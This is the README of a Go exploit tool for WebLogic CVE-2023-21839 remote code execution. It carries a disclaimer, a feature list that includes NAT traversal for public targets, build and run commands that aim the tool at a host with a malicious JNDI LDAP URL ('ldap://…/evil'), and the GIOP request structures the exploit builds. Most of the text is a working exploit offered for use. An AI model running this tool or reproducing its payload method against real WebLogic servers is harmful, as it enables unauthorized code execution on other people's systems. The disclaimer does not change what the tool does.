askyeye/cve-2023-21839Weblogic CVE-2023-21839 RCE (无需Java依赖一键RCE)
Using this project to attack or test targets without authorization is illegal. This program should only be used for authorized security testing and research purposes.
Weblogic CVE-2023-21839 RCE
(1) No Java dependencies required, constructs protocol via socket for direct RCE
(2) Resolved IIOP NAT network issues (can test Docker and public network targets)
(3) Tested on Windows/Mac OS/Linux and Weblogic 12/14
(4) Please use JDK 8u191 or below to start Weblogic and set up your own JNDI Server
cd cmd
go build -o CVE-2023-21839
./CVE-2023-21839 -ip 127.0.0.1 -port 7001 -ldap ldap://127.0.0.1:1389/evil
Locate Request
type LocateRequest struct {
Header *Header
RequestId []byte // 4
TargetAddress []byte // 2
_reserved []byte // 2
_keyAddressLength []byte // 4
KeyAddress []byte // _keyAddressLength
}
Resolve Request
type ResolveRequest struct {
Header *Header
RequestId []byte // 4
ResponseFlags []byte // 1
_reserved1 []byte // 3
TargetAddress []byte // 2
_reserved2 []byte // 2
_keyAddressLength []byte // 4
KeyAddress []byte // _keyAddressLength
_operationLength []byte // 4
RequestOperation []byte // _operationLength
_reserved3 []byte // 1
ServiceContextList *ServiceContextList
CosNamingDissector []byte // no limit
}
Rebind Request
type RebindRequest struct {
Header *Header
RequestId []byte // 4
ResponseFlags []byte // 1
_reserved1 []byte // 3
TargetAddress []byte // 2
_reserved2 []byte // 2
_keyAddressLength []byte // 4
KeyAddress []byte // _keyAddressLength
_operationLength []byte // 4
RequestOperation []byte // _operationLength
_reserved3 []byte // 2
ServiceContextList *ServiceContextList
StubData []byte // no limit
}